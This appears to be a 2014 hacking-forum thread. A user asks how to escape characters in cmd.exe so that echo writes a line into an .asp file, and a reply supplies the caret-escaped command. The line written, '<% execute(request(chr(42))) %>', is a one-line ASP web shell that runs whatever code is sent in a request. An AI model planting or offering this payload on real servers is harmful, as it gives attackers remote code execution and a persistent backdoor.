

Forum: [Hack Forums](#)

Thread: [Say I wanted to 'echo' something using cmd.exe](#)

pwntoken - October 16, 2014, 12:50 pm

Say I needed to echo

Code <% execute(Response.Write("Test")) %>
using cmd.exe on command line and write it to a file like the following

Code echo <% execute(request(chr(42))) %> > file.asp
how would I do that? since the

Code <%
does not escape as we can escape these chars in Linux echo, how would we do this using cmd.exe on Windows? ???

???? - October 16, 2014, 6:42 pm

you would do it like this:

echo ^<^% execute^(request^(chr^(42^)^)^ ^%^> > file.asp

^ is the escape character for batch, just like \ is for shell

pwntoken - October 17, 2014, 6:55 am

(Oct 16, 2014 06:42 PM)Biont Wrote: [\[CITE\]](#) you would do it like this:

echo ^<^% execute^(request^(chr^(42^)^)^ ^%^> > file.asp

^ is the escape character for batch, just like \ is for shell

Hi thanks figured it out. Since I am from Linux background, finding it a bit uneasy. We used to use 'echo -e' to escape in *nix

zacharyprime - October 17, 2014, 8:52 pm

Linux (at least Ubuntu) will run .bat files but idk.

seems this code is fixed by these others but hope you get it fixed (and that my input helped).

pwntoken - October 18, 2014, 12:50 am

(Oct 17, 2014 08:52 PM)zacharyprime Wrote: [\[CITE\]](#) Linux (at least Ubuntu) will run .bat files but idk.

seems this code is fixed by these others but hope you get it fixed (and that my input helped).

wut? that's crazy ???

*nix does not by default run batch files. ?

Freebooter - October 18, 2014, 11:47 am

Nice to know your question has been answered next time if you have a batch script or Command Prompt commands questions you should open thread at the [Batch, Shell, Dos, and Command Line Interpreters](#) section.

Niely - October 19, 2014, 4:09 am

(Oct 17, 2014 08:52 PM)zacharyprime Wrote: [\[CITE\]](#) Linux (at least Ubuntu) will run .bat files but idk.

seems this code is fixed by these others but hope you get it fixed (and that my input helped).

Linux does only run Batch files through Wine/Dosbox/... And even then it only works if it don't

include platform/OS-depended codes. :)

```
del (Windows) /= rm (Linux)  
echo (Windows) == echo (Linux)
```

Bach codes with the del-command in it won't run, but echo will just run fine because Linux knows the echo-command as well. :)